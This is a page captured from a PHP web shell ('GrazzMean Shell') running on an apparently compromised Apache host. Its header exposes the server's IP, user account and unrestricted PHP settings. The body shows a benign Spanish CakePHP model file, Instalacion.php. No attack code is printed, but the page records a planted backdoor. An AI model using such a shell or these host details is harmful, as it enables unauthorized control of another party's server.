shell bypass 403

GrazzMean Shell

Uname: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
Software: Apache
PHP version: 5.6.40 [ PHP INFO ] PHP os: Linux
Server Ip: 217.160.0.194
Your Ip: 216.73.216.203
User: u72294154 (9179942) | Group: ftpusers (600)
Safe Mode: OFF
Disable Function:
NONE

name : Instalacion.php
<?

App::uses('Provincia', 'Model');
App::uses('Localidad', 'Model');

class Instalacion extends AppModel {

    public $validate = array(
        'nombre' => array(
            'required' => array(
                'rule' => 'notEmpty',
                'message' => 'Nombre requerido'
            ),
        ),
        'telefono' => array(
            'required' => array(
                'rule' => 'notEmpty',
                'message' => 'Teléfono requerido'
            ),
            'min_length' => array(
                'rule' => array('minLength', '6'),
                'message' => 'El teléfono ha de tener un mínimo 6 dígitos',
            )
        ),
        'direccion' => array(
            'required' => array(
                'rule' => 'notEmpty',
                'message' => 'Dirección requerida'
            ),
        ),
        'cp' => array(
            'required' => array(
                'rule' => 'notEmpty',
                'message' => 'Código postal requerido'
            ),
        ),
        'provincia_id' => array(
            'required' => array(
                'rule' => 'notEmpty',
                'message' => 'Provincia requerida'
            ),
            'exist' => array(
                'rule' => 'checkExist',
                'message' => 'Debes seleccionar una provincia existente'
            )
        ),
        'localidad_id' => array(
            'required' => array(
                'rule' => 'notEmpty',
                'message' => 'Localidad requerida'
            ),
            'exist' => array(
                'rule' => 'checkExist',
                'message' => 'Debes seleccionar una localidad existente'
            )
        ),
    );

    public function checkExist($check) {
        $elemento = null;
        $campo = key($check);
        switch ($campo) {
            case 'provincia_id':
                $elementos = new Provincia();
                $elemento = $elementos->findById($this->data[$this->name][$campo]);
                break;
            case 'localidad_id':
                $elementos = new Localidad();
                if (!empty($this->data[$this->name]['provincia_id'])) { //provincia marcada
                    $elemento = $elementos->findByIdAndProvinciaId($this->data[$this->name][$campo], $this->data[$this->name]['provincia_id']);
                } else {
                    $elemento = $elementos->findById($this->data[$this->name][$campo]);
                }
                break;
        }

        if (empty($elemento)) {
            return false; //error
        }

        return true; //ok
    }

    public function beforeSave($options = array()) {
        parent::beforeSave($options);
        
        //Provincia nombre
        if (!empty($this->data[$this->alias]['provincia_id'])) {
            $provincias = new Provincia();
            $provincia = $provincias->findById($this->data[$this->alias]['provincia_id']);
            $this->data[$this->alias]['provincia_nombre'] = $provincia['Provincia']['nombre'];
        }

        //Localidad nombre
        if (!empty($this->data[$this->alias]['localidad_id'])) {
            $localidades = new Localidad();
            $localidad = $localidades->findById($this->data[$this->alias]['localidad_id']);
            $this->data[$this->alias]['localidad_nombre'] = $localidad['Localidad']['nombre'];
        }
    }

    public function afterSave($created, $options = array()) {
        parent::afterSave($created, $options);
        
        //Orden
        if ($created) {
            $ultima = $this->find('first', array('order' => array($this->name . '.orden' => 'DESC')));
            if (!empty($ultima)) {
                $orden = (int) $ultima[$this->name]['orden'] + 1;
            } else {
                $orden = 1;
            }

            $this->updateAll(array('orden' => $orden), array($this->name . '.id' => $this->id));
        }
    }

    public function afterDelete() {
        parent::afterDelete();
        
        $this->reordenarEntidades();
    }

}
© 2026 GrazzMean